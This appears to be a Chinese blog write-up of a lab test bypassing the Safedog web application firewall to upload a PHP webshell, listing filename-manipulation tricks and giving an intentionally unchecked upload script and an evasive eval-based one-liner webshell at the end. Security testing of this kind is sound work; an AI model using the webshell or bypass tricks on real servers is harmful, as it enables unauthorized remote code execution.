最新版安全狗(v4.0.2.665) 文件上传 绕过

4 篇文章 0 订阅
2 篇文章 0 订阅
0x00 前言:

继续上次 bypass 安全狗,这次测试的是 bypass 最新版安全狗来上传 php 一句话

0x01 实验环境:

win7 sp1 + phpstudy v8.1(apache 2.4) + 安全狗v4.0.2.665
服务端脚本:

<?php
use function \move_uploaded_file as test;
if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
	  test($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
      //test($_FILES["file"]["tmp_name"],"upload/" . "3.php");
	  //move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
	   echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      // echo "Stored in: " . "upload/" . "3.php";
	  }

这里为什么要用 重命名函数move_uploaded_file呢, 而不是直接使用move_uploaded_file 呢?后面会说到。

0x01 出师不捷

尴尬,直接使用move_uploaded_file 被安全狗拦截
在这里插入图片描述
然后添加信任区之后也没法使用,访问upload.php还是被安全狗拦截
所以无奈之后,又强行先学了一波免杀,然后利用重命名函数的方法绕过了安全狗的检测
在这里插入图片描述
在这里插入图片描述

0x02 bypass 安全狗upload

现在就可以测试上传文件bypass 了
1.文件名换行绕过:
在这里插入图片描述

2.filename == 绕过 (使用更多的等号也可以)
在这里插入图片描述

3.filename=; 绕过
在这里插入图片描述

4.使用垃圾字符填充文件名:
在这里插入图片描述
(这里修改了一下服务端代码,重命名了一下文件名,不然会显示move_uploaded_file失败)
使用了大概9000多个垃圾字符,成功绕过

0x03 后记

总体来说文件上传bypass waf更多的是经验的积累。
具体绕过的大的方法可以分为:
(1)信息收集,看目标使用的是什么操作系统,什么版本的服务器,可以利用一些服务器解析漏洞和操作系统(::$data) 的特性来bypass
(2)修改请求包,构造畸形的请求包,比如第二个和第三个方法。

反正多试,比如删空格,加等号,修改一些字符串大小写等等

所以 光光靠waf 来拦截 危险文件上传是不够的,还需要在代码里面做更多的限制,比如限制后缀名,检查文件内容等等。

一个文件后缀名黑名单( 取自https://paper.seebug.org/219 )
取自https://paper.seebug.org/219/
最后附上我用的免杀这个版本安全狗的一句话:

<?php
define("hi","$_REQUEST[1]");
eval(hi);
?>
0x04 参考资料

1.http://www.cl4y.top/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0bypass%E5%AE%89%E5%85%A8%E7%8B%974-0/ 绕过安全狗4.0 (但是最近版安全狗用最后讲的那个用%00绕过不行了)

2.其他关于绕过waf 来文件上传的资料:(学习思路,但是测试最新安全狗用这些方法没法绕过)
https://www.freebuf.com/articles/web/125084.html
https://paper.seebug.org/219/

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值